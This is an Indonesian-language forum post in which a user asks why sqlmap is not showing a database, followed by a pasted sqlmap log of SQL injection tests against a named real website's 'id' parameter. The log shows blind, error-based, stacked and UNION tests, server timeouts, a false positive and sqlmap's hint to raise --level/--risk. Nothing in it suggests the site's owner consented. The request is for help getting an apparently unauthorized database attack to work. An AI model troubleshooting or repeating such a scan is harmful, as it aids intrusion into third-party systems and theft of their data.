[lytons]

om kok ane ga mau muncul database nya ya
malah muncul seperti ni
mohon bantu kenapa yaa....

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 01:19:23

[01:19:23] [INFO] using '/pentest/database/sqlmap/output/www.lcoastpress.com/session' as session file
[01:19:23] [INFO] testing connection to the target url
[01:19:28] [INFO] heuristics detected web page charset 'ascii'
[01:19:28] [INFO] testing if the url is stable, wait a few seconds
[01:19:31] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] y
[01:19:37] [INFO] testing if GET parameter 'id' is dynamic
sqlmap got a 302 redirect to 'http://www.lcoastpress.com:80/index.php'. do you want to follow redirects from now on (or stay on the original page)? [Y/n] y
[01:19:43] [INFO] heuristics detected web page charset 'ISO-8859-2'
[01:19:44] [INFO] confirming that GET parameter 'id' is dynamic
[01:19:47] [INFO] GET parameter 'id' is dynamic
[01:19:49] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
[01:19:49] [INFO] testing sql injection on GET parameter 'id'
[01:19:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:20:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:20:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:20:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:20:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:20:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:21:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:21:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:22:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:24:19] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[01:24:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:25:29] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request
[01:25:29] [WARNING] most probably web server instance hasn't recovered yet from previous timed based payload. if the problem persists please wait for few minutes and rerun without flag T in --technique option (e.g. --flush-session --technique=BEUS) or try to lower the --time-sec value (e.g. --time-sec=2)
[01:26:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:26:44] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request
[01:27:16] [INFO] checking if the injection point on GET parameter 'id' is a false positive
[01:27:19] [WARNING] false positive injection point detected
[01:27:19] [WARNING] GET parameter 'id' is not injectable
[01:27:19] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

[*] shutting down at: 01:27:19